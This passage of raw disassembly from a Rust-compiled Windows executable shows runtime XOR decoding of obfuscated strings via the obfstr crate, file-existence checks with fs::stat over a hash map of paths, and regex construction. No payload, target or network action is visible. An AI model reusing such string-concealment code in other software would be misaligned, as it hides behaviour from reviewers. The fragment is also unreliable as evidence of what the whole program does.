lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14006777d
test rax, rax
je 0x14006777d
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b3ad2]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x581bc498
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::hc9e1761881e93933
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x1404a5170]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6b5
mov qword [rsp + 0x1210], r13
mov byte [rsp + 0x6e], r12b
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x2d
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x19
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0x16
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0xa3dbced6
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1403b1ed3]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xc97b36d0
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h6a26560dd394f53a
movabs rcx, 0x4975966e5038838a
xor rcx, qword [rax]
movabs rdx, 0xc762c0138cbd5df2
xor rdx, qword [rax + 8]
movabs r8, 0xd0a76be1737d1bc3
xor r8, qword [rax + 0x10]
movabs r9, 0xbc253b1c86b1f48c
xor r9, qword [rax + 0x18]
movabs r10, 0x88cc6ec27390615f
xor r10, qword [rax + 0x20]
movabs r11, 0xf4257654a791a548
xor r11, qword [rax + 0x28]
movzx eax, byte [rax + 0x30]
xor al, 0x43
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov byte [rsp + 0x100], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x31
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1af8]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea r14, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov rcx, r14
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rbp, 0x8000000000000000
cmp rax, rbp
je 0x140067a08
test rax, rax
je 0x140067a08
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rax, qword [rsp + 0x1240]
mov rcx, qword [rsp + 0x1248]
mov qword [rsp + 0x1208], rcx
mov rcx, qword [rsp + 0x1258]
mov qword [rsp + 0x540], 0
mov qword [rsp + 0x548], 1
mov qword [rsp + 0x550], 0
movdqa xmm0, xmmword [rax]
pmovmskb r15d, xmm0
not r15d
lea r13, [rax + 0x10]
xor edx, edx
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x1200], rcx
mov qword [rsp + 0xc8], rcx
mov qword [rsp + 0x11f8], r13
mov qword [rsp + 0x858], rax
mov qword [rsp + 0x840], rax
jmp 0x140067ab5
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rbx
call fcn.14021a7bc
dec rsi
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rsi
call fcn.14021a7bc
mov rdx, qword [rsp + 0xc8]
test rdx, rdx
je 0x14006e42d
test r15w, r15w
mov r8, qword [rsp + 0x840]
jne 0x140067b02
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r13]
pmovmskb r15d, xmm0
add r8, 0xfffffffffffffd00
add r13, 0x10
cmp r15d, 0xffff
je 0x140067ae0
not r15d
tzcnt eax, r15d
lea ecx, [r15 - 1]
and ecx, r15d
mov r15d, ecx
neg rax
lea r12, [rax + rax*2]
shl r12, 4
dec rdx
mov qword [rsp + 0xc8], rdx
mov rdx, qword [r8 + r12 - 0x10]
mov qword [rsp + 0x840], r8
mov r8, qword [r8 + r12 - 8]
mov rcx, r14
call sym.std::sys::pal::windows::fs::stat::hb4d86dbde420c37b
cmp dword [rsp + 0xd0], 2
jne 0x140067b95
mov rsi, qword [rsp + 0xd8]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x140067ab5
mov rbx, qword [rsi - 1]
mov rdi, qword [rsi + 7]
mov rax, qword [rdi]
test rax, rax
je 0x140067b76
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x140067aa1
cmp qword [rdi + 0x10], 0x11
jb 0x140067a90
mov rbx, qword [rbx - 8]
jmp 0x140067a90
lea rax, [0x1403b0d19]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x77091038
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::ha8a391245e8cca27
mov rdi, qword [rax]
mov rsi, qword [rax + 8]
movzx ebx, byte [rax + 0x10]
movzx eax, byte [0x1404a5170]
mov edx, 0x11
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e7f8
mov r14, rax
movabs rax, 0x7a5779e9ecf18e54
xor rsi, rax
movabs rax, 0x2be0ab9d9ef6ed9f
xor rdi, rax
xor bl, 0xdc
mov qword [r14], rdi
mov qword [r14 + 8], rsi
mov byte [r14 + 0x10], bl
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x158], 8
mov qword [rsp + 0x160], 0
mov qword [rsp + 0xd0], 1
mov qword [rsp + 0xd8], 0x200000
mov qword [rsp + 0xe0], 1
mov qword [rsp + 0xe8], 0xa00000
mov qword [rsp + 0xf0], 2
mov qword [rsp + 0x100], 2
mov qword [rsp + 0x110], 2
mov byte [rsp + 0x138], 3
mov byte [rsp + 0x140], 0
movabs rax, 0x202020202020202
mov qword [rsp + 0x142], rax
mov byte [rsp + 0x14a], 3
mov dword [rsp + 0x168], 0xfa
mov byte [rsp + 0x16c], 0xa
lea rax, [rsp + 0xd8]
mov word [rax + 0x99], 0
mov dword [rax + 0x95], 0
mov word [rsp + 0x173], 0x101
mov byte [rsp + 0x175], 0
mov r8d, 1
lea rcx, [rsp + 0x150]
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::hd68976113bab0833
mov rdi, qword [rsp + 0x158]
mov rsi, qword [rsp + 0x160]
movzx eax, byte [0x1404a5170]
mov edx, 0x11
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e7f8
movzx ecx, byte [r14 + 0x10]
mov byte [rax + 0x10], cl
movdqu xmm0, xmmword [r14]
movdqu xmmword [rax], xmm0
lea rcx, [rsi + rsi*2]
mov qword [rdi + rcx*8], 0x11
mov qword [rdi + rcx*8 + 8], rax
mov qword [rdi + rcx*8 + 0x10], 0x11
lea rax, [rsi + 1]
mov rcx, qword [rsp + 0x158]
mov rdx, qword [rsp + 0xd0]
mov qword [rsp + 0x11e0], rdx
mov rdx, qword [rsp + 0xd8]
mov qword [rsp + 0x50], rdx
mov rdx, qword [rsp + 0xe0]
mov qword [rsp + 0xb0], rdx
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
mov rdx, qword [rsp + 0xf0]
mov qword [rsp + 0x48], rdx
mov rdx, qword [rsp + 0xf8]
mov qword [rsp + 0x70], rdx
mov rdx, qword [rsp + 0x100]
mov qword [rsp + 0x38], rdx
movzx edi, byte [rsp + 0x138]
movzx edx, byte [rsp + 0x140]
mov byte [rsp + 0x830], dl
movzx edx, byte [rsp + 0x141]
mov byte [rsp + 0x6d], dl
movd xmm10, dword [rsp + 0x144]
movzx ebp, byte [rsp + 0x148]
movzx edx, byte [rsp + 0x149]
mov byte [rsp + 0x62], dl
movzx edx, byte [rsp + 0x14a]
mov byte [rsp + 0x838], dl
movzx r10d, byte [rsp + 0x16c]
movzx ebx, byte [rsp + 0x16d]
movd xmm13, dword [rsp + 0x16e]
movzx r11d, byte [rsp + 0x170]
movzx r9d, byte [rsp + 0x171]
mov qword [rsp + 0x5b8], rax
movzx eax, byte [rsp + 0x172]
mov byte [rsp + 0x518], al
movzx edx, byte [rsp + 0x173]
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x578], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x11e8], rax
mov r8, qword [rsp + 0x150]
mov eax, dword [rsp + 0x168]
mov dword [rsp + 0x84c], eax
mov eax, dword [rsp + 0x174]
test rsi, rsi
jne 0x14006e9a0
mov byte [rsp + 0x6a], bpl
mov byte [rsp + 0x6b], bl
mov byte [rsp + 0x6c], dl
mov qword [rsp + 0x11c0], r14
mov qword [rsp + 0x11c8], r15
mov edx, edi
and dl, 0xfe
cmp dl, 2
je 0x140067f22
mov rsi, qword [rsp + 0x40]
lock inc qword [rsi]
jle 0x14006e8f6
mov dword [rsp + 0x848], eax
mov byte [rsp + 0x68], dil
mov byte [rsp + 0x69], r9b
xor r15d, r15d
mov rax, qword [rsp + 0xb0]
test rax, rax
setne r15b
cmp rax, 2
cmove r15, rax
xor esi, esi
mov rax, qword [rsp + 0x48]
test rax, rax
setne sil
cmp rax, 2
cmove rsi, rax
xor ebx, ebx
mov rax, qword [rsp + 0x38]
test rax, rax
setne bl
cmp rax, 2
cmove rbx, rax
xor r14d, r14d
mov rax, qword [rsp + 0x58]
test rax, rax
setne r14b
cmp rax, 2
cmove r14, rax
mov rbp, qword [rcx + 0x10]
test rbp, rbp
js 0x14006e9c1
movabs r9, 0x8000000000000000
lea rax, [r9 - 0x18]
cmp rbp, rax
ja 0x14006e9ed
mov rax, rbp
mov byte [rsp + 0x67], r11b
mov byte [rsp + 0x66], r10b
mov qword [rsp + 0x11d8], r8
mov byte [rsp + 0x65], dl
mov qword [rsp + 0x4f0], rcx
mov rbp, qword [rcx + 8]
mov qword [rsp + 0x500], rax
lea r8, [rax + 0x17]
lea rax, [r9 - 8]
and r8, rax
je 0x14006800b
movzx eax, byte [0x1404a5170]
xor ecx, ecx
mov rdi, r8
mov rdx, r8
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
jne 0x140068010
jmp 0x14006ea74
mov eax, 8
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rsp + 0x90], rax
lea rcx, [rax + 0x10]
mov qword [rsp + 0x11d0], rcx
mov rdx, rbp
mov r8, qword [rsp + 0x500]
call sym.memcpy
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xe0], 2
mov qword [rsp + 0xf0], 2
mov qword [rsp + 0x100], 2
mov qword [rsp + 0x110], 2
mov byte [rsp + 0x138], 3
mov byte [rsp + 0x140], 0
movabs rax, 0x202020202020202
mov qword [rsp + 0x142], rax
mov byte [rsp + 0x14a], 3
mov dword [rsp + 0x158], 0xfa
mov word [rsp + 0x15c], 0
mov byte [rsp + 0x15e], 0
mov byte [rsp + 0x150], 1
lea rax, [rsp + 0xd8]
mov word [rax + 0x7d], 0x202
mov dword [rax + 0x79], 0x2020202
cmp qword [rsp + 0xb0], 2
jne 0x1400680fe
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x48], 2
movzx r10d, byte [rsp + 0x67]
jne 0x140068119
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x70], rax
xor eax, eax
cmp qword [rsp + 0x11e0], 0
setne cl
mov rbp, qword [rsp + 0x500]
jne 0x1400683d7
mov rdx, qword [rsp + 0xd8]
mov qword [rsp + 0x50], rdx
cmp qword [rsp + 0x38], 2
je 0x1400683e3
cmp qword [rsp + 0x58], 2
jne 0x140068166
mov rdx, qword [rsp + 0x118]
mov qword [rsp + 0xa8], rdx
mov r9d, dword [rsp + 0x848]
shr r9d, 8
movzx r11d, byte [rsp + 0x830]
test r11b, r11b
mov byte [rsp + 0x157], 0xa
movzx edx, byte [rsp + 0x6d]
movzx r8d, byte [rsp + 0x141]
cmovne r8d, edx
mov al, cl
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], r15
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], rsi
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], rbx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], r14
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x578]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x11e8]
mov qword [rsp + 0x130], rax
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x138], al
mov eax, dword [rsp + 0x1243]
lea rcx, [rsp + 0xd8]
mov dword [rcx + 0x64], eax
mov eax, dword [rsp + 0x1240]
mov dword [rcx + 0x61], eax
mov byte [rsp + 0x140], r11b
mov byte [rsp + 0x141], r8b
mov word [rsp + 0x142], 0x101
movd dword [rsp + 0x144], xmm10
movzx eax, byte [rsp + 0x6a]
mov byte [rsp + 0x148], al
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x149], al
movzx eax, byte [rsp + 0x838]
mov byte [rsp + 0x14a], al
mov eax, dword [rsp + 0x5e0]
mov dword [rcx + 0x73], eax
movzx eax, byte [rsp + 0x5e4]
mov byte [rcx + 0x77], al
movzx eax, byte [rsp + 0x518]
mov byte [rsp + 0x15c], al
mov eax, dword [rsp + 0x84c]
mov dword [rsp + 0x158], eax
mov byte [rsp + 0x15d], r9b
movzx eax, byte [rsp + 0x6b]
movd xmm0, eax
movzx eax, byte [rsp + 0x69]
movd xmm1, eax
cmp byte [rsp + 0x6c], 0
setne al
add al, al
mov byte [rsp + 0x155], al
cmp r10b, 1
mov eax, 0
adc al, 1
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0x157], al
movdqa xmm2, xmmword [0x140397d10]
pandn xmm2, xmm0
pslld xmm13, 8
por xmm13, xmm2
pslld xmm1, 0x18
movdqa xmm2, xmmword [0x140397d20]
movdqa xmm0, xmm2
pandn xmm0, xmm1
pand xmm13, xmm2
por xmm13, xmm0
pcmpeqb xmm13, xmmword [0x140397d70]
movdqa xmm0, xmmword [0x140397d30]
psubb xmm0, xmm13
movd dword [rsp + 0x151], xmm0
mov byte [rsp + 0x150], 1
lea rcx, [rsp + 0xbd0]
lea r15, [rsp + 0xd0]
mov rdx, r15
mov r8, qword [rsp + 0x11d0]
mov r9, rbp
call sym.regex_automata::meta::regex::Builder::build::h4bdc5cb6609ac54b
mov rbx, qword [rsp + 0xbd0]
mov rsi, qword [rsp + 0xbd8]
movabs rax, 0x8000000000000000
add rax, 2
mov r14, qword [rsp + 0xbe0]
cmp rbx, rax
jne 0x140068401
mov rdi, rbp
jmp 0x140068d11
cmp qword [rsp + 0x38], 2
jne 0x14006814e
mov rdx, qword [rsp + 0x108]
mov qword [rsp + 0x78], rdx
cmp qword [rsp + 0x58], 2
je 0x140068156
jmp 0x140068166
mov rdi, qword [rsp + 0xbe8]
mov r15, qword [rsp + 0xbf0]
lea rax, [rsp + 0xbf8]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x1240], xmm0
movaps xmmword [rsp + 0x1250], xmm1
movaps xmmword [rsp + 0x1260], xmm2
movaps xmmword [rsp + 0x1270], xmm3
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x1280], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x1290], xmm0
mov rcx, qword [rsp + 0x90]
lock dec qword [rcx]
jne 0x140068476
mov rdx, rbp
call sym.alloc::sync::Arc_T_A_::drop_slow::h267223fbb94d2f65
movaps xmm0, xmmword [rsp + 0x1290]
lea rax, [rsp + 0xbf8]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x1280]
movups xmmword [rax + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x1240]
movdqa xmm1, xmmword [rsp + 0x1250]
movdqa xmm2, xmmword [rsp + 0x1260]
movdqa xmm3, xmmword [rsp + 0x1270]
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], rsi
mov qword [rsp + 0xbe0], r14
mov qword [rsp + 0xbe8], rdi
mov qword [rsp + 0xbf0], r15
movabs r8, 0x8000000000000000
lea rdi, [r8 + 1]
cmp rbx, rdi
jne 0x140068531
lea rax, [r8 + 5]
cmp rsi, rax
jne 0x140068531
mov qword [rsp + 0x90], r14
mov r14, r8
lea r15, [rsp + 0xd0]
mov rdi, qword [rsp + 0x11b8]
jmp 0x140068c80
cmp rbx, rdi
lea r15, [rsp + 0xd0]
mov qword [rsp + 0x38], rdi
jne 0x1400685ae
mov qword [rsp + 0x5e0], 0
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x5f0], 0
mov r8d, 0x12
lea rcx, [rsp + 0x5e0]
lea rdx, str.error_building_NFAinternal_error:_entered_unreachable_code:_found_impossible_error_in_meta_engine:
call sym._ZN58__LT_alloc..string..String_u20_as_u20_core..fmt..Write_GT_9write_str17h94ef6ec67befc569E.11183
test al, al
jne 0x14006ed92
mov r14, qword [rsp + 0x5e0]
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + 0x90], rax
mov rdi, qword [rsp + 0x5f0]
jmp 0x140068c5f
mov qword [rsp + 0x4d0], 0
mov qword [rsp + 0x4d8], 1
mov qword [rsp + 0x4e0], 0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xbd0], rax
lea rsi, [rsp + 0x4d0]
lea r14, fcn.1400b83c0
jne 0x14006873a
cmp rbx, rdi
lea rax, [rsp + 0xbd0]
mov ecx, 0
cmove rax, rcx
lea rcx, [rsp + 0xc20]
mov edx, 0x50
cmove rcx, rdx
movdqu xmm0, xmmword [rax + 0x10]
lea rax, [rsp + 0xbf0]
mov edx, 0x20
cmove rax, rdx
movdqu xmmword [rsp + 0x15d0], xmm0
mov qword [rsp + 0x15e0], rcx
mov qword [rsp + 0x15e8], rax
mov qword [rsp + 0x15f0], 0
lea rcx, [rsp + 0x900]
lea rdx, [rsp + 0x15d0]
call sym.regex_syntax::error::Spans::from_formatter::h8674b634c010ed18
mov rax, qword [rsp + 0x15d0]
mov rcx, qword [rsp + 0x15d8]
cmp rcx, 0xf
ja 0x14006ae11
test rcx, rcx
je 0x1400686a1
xor edx, edx
cmp byte [rax + rdx], 0xa
je 0x14006d900
inc rdx
cmp rcx, rdx
jne 0x14006868f
mov r8d, 0x13
mov rcx, rsi
lea rdx, str.regex_parse_error:_nerror:
call sym._ZN58__LT_alloc..string..String_u20_as_u20_core..fmt..Write_GT_9write_str17h94ef6ec67befc569E.11183
test al, al
jne 0x14006ecbf
lea rsi, [rsp + 0x5e0]
mov rcx, rsi
lea rdx, [rsp + 0x15d0]
call sym.regex_syntax::error::Spans::from_formatter::h8674b634c010ed18
lea rcx, [rsp + 0xf90]
mov rdx, rsi
call sym.regex_syntax::error::Spans::notate::hcfe7ac1571b6ec15
mov rsi, qword [rsp + 0x5f0]
test rsi, rsi
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
je 0x1400688b5
mov rdi, qword [rsp + 0x5e8]
add rdi, 8
jmp 0x140068719
add rdi, 0x18
dec rsi
je 0x1400688b5
cmp qword [rdi - 8], 0
je 0x14006870c
mov r8, qword [rdi]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
jmp 0x14006870c
cmp rbx, rdi
lea rcx, [rsp + 0xbd0]
mov eax, 0
cmove rcx, rax
lea rax, [rsp + 0xbe8]
mov edx, 0x18
cmove rax, rdx
mov r8d, dword [rcx + 0x18]
cmp r8d, 0x11
je 0x14006877a
cmp r8d, 0xe
je 0x14006877a
mov edx, 0
cmp r8d, 0xd
jne 0x14006878f
cmp rbx, rdi
lea rdx, [rsp + 0xbf0]
mov r8d, 0x20
cmove rdx, r8
mov r8, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
cmp rbx, rdi
lea r9, [rsp + 0xc20]
mov r10d, 0x50
cmove r9, r10
mov qword [rsp + 0x15d0], r8
mov qword [rsp + 0x15d8], rcx
mov qword [rsp + 0x15e0], rax
mov qword [rsp + 0x15e8], r9
mov qword [rsp + 0x15f0], rdx
lea rcx, [rsp + 0x900]
lea rdx, [rsp + 0x15d0]
call sym.regex_syntax::error::Spans::from_formatter::h8674b634c010ed18
mov rax, qword [rsp + 0x15d0]
mov rcx, qword [rsp + 0x15d8]
cmp rcx, 0xf
ja 0x14006ae47
test rcx, rcx
je 0x14006881c
xor edx, edx
cmp byte [rax + rdx], 0xa
je 0x14006deb9
inc rdx
cmp rcx, rdx
jne 0x14006880a
mov r8d, 0x13
mov rcx, rsi
lea rdx, str.regex_parse_error:_nerror:
call sym._ZN58__LT_alloc..string..String_u20_as_u20_core..fmt..Write_GT_9write_str17h94ef6ec67befc569E.11183
test al, al
jne 0x14006ed43
lea rsi, [rsp + 0x5e0]
mov rcx, rsi
lea rdx, [rsp + 0x15d0]
call sym.regex_syntax::error::Spans::from_formatter::h8674b634c010ed18
lea rcx, [rsp + 0xf90]
mov rdx, rsi
call sym.regex_syntax::error::Spans::notate::hcfe7ac1571b6ec15
mov rsi, qword [rsp + 0x5f0]
test rsi, rsi
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
je 0x140068a5d
mov rdi, qword [rsp + 0x5e8]
add rdi, 8
jmp 0x140068894
add rdi, 0x18
dec rsi
je 0x140068a5d
cmp qword [rdi - 8], 0
je 0x140068887
mov r8, qword [rdi]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
jmp 0x140068887
cmp qword [rsp + 0x5e0], 0
je 0x1400688dd
mov r8, qword [rsp + 0x5e8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
cmp qword [rsp + 0x5f8], 0
lea rsi, [rsp + 0xf90]
je 0x14006890d
mov r8, qword [rsp + 0x600]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0x868], rsi
mov qword [rsp + 0x870], rax
lea rax, [0x1404683e0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
lea rbx, [rsp + 0x868]
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], 1
lea rdi, [rsp + 0x4d0]
mov rcx, rdi
mov rdx, r14
lea rsi, [rsp + 0x5e0]
mov r8, rsi
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ebe0
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0x868], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::ha85532e368e9f40f]
mov qword [rsp + 0x870], rax
lea rax, [0x1403f0640]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], 1
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ebe0
cmp qword [rsp + 0xf90], 0
je 0x140068a17
mov r8, qword [rsp + 0xf98]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rsi, qword [rsp + 0x910]
test rsi, rsi
je 0x140068bfd
mov rdi, qword [rsp + 0x908]
add rdi, 8
jmp 0x140068a43
add rdi, 0x18
dec rsi
je 0x140068bfd
cmp qword [rdi - 8], 0
je 0x140068a36
mov r8, qword [rdi]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x140068a36
cmp qword [rsp + 0x5e0], 0
je 0x140068a85
mov r8, qword [rsp + 0x5e8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
cmp qword [rsp + 0x5f8], 0
lea rsi, [rsp + 0xf90]
je 0x140068ab5
mov r8, qword [rsp + 0x600]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0x868], rsi
mov qword [rsp + 0x870], rax
lea rax, [0x1404683e0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
lea rbx, [rsp + 0x868]
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], 1
lea rdi, [rsp + 0x4d0]
mov rcx, rdi
mov rdx, r14
lea rsi, [rsp + 0x5e0]
mov r8, rsi
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ebfc
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0x868], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h5e98be4893f58ddd]
mov qword [rsp + 0x870], rax
lea rax, [0x1403f0640]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], 1
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ebfc
cmp qword [rsp + 0xf90], 0
je 0x140068bbf
mov r8, qword [rsp + 0xf98]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rsi, qword [rsp + 0x910]
test rsi, rsi
je 0x140068bfd
mov rdi, qword [rsp + 0x908]
add rdi, 8
jmp 0x140068be3
add rdi, 0x18
dec rsi
je 0x140068bfd
cmp qword [rdi - 8], 0
je 0x140068bda
mov r8, qword [rdi]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x140068bda
cmp qword [rsp + 0x900], 0
je 0x140068c1e
mov r8, qword [rsp + 0x908]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x918], 0
je 0x140068c3f
mov r8, qword [rsp + 0x920]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov r14, qword [rsp + 0x4d0]
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x90], rax
mov rdi, qword [rsp + 0x4e0]
mov rax, qword [rsp + 0xbd0]
cmp rax, qword [rsp + 0x38]
jne 0x140068cd4
mov rax, qword [rsp + 0xbd8]
movabs r8, 0x8000000000000000
lea rdx, [r8 + rax]
dec rdx
mov rcx, rax
xor rcx, r8
cmp rdx, 7
mov edx, 0
cmovae rcx, rdx
test rcx, rcx
je 0x140068cca
cmp rcx, 1
jne 0x140068d0f
